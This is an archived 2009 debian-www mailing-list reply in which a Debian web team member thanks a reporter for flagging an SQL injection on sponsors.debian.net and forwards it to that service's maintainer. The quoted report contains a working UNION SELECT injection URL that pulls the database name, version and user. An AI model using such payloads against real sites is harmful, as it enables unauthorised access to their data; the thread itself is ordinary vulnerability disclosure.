Re: An Sql Injection in the Debian's website

To: zaakoul <za3koul@gmail.com>, neilm@debian.org
Cc: debian-www@lists.debian.org
Subject: Re: An Sql Injection in the Debian's website
From: Simon Paillard <simon.paillard@resel.enst-bretagne.fr>
Date: Thu, 24 Sep 2009 09:14:18 +0200
Message-id: <[🔎] 20090924071418.GH14042@dedibox.ebzao.info>
Mail-followup-to: zaakoul <za3koul@gmail.com>, neilm@debian.org, debian-www@lists.debian.org
In-reply-to: <[🔎] b054cc180909232222v1b7c9dd7pb338852b89151cdd@mail.gmail.com>
References: <[🔎] b054cc180909232222v1b7c9dd7pb338852b89151cdd@mail.gmail.com>

Hello,

On Thu, Sep 24, 2009 at 05:22:39AM +0000, zaakoul wrote:
> there is an sql injection in ur website, from here:
> 
> http://sponsors.debian.net/viewpkg.php?id=9%20union%20select%201,database%28%29,version%28%29,user%28%29,5,6,7,8,9,10,11

Thanks for your report.
As sponsors.debian.net is an unofficial service not handled by WWW Team,
I've CCed Neil (who is the contact displayed on
http://sponsors.debian.net/)

Best regards.

-- 
Simon Paillard

Reply to:

References:
- An Sql Injection in the Debian's website
  - From: zaakoul <za3koul@gmail.com>

Prev by Date: An Sql Injection in the Debian's website
Next by Date: Re: An Sql Injection in the Debian's website
Previous by thread: An Sql Injection in the Debian's website
Next by thread: Re: An Sql Injection in the Debian's website
Index(es):
- Date
- Thread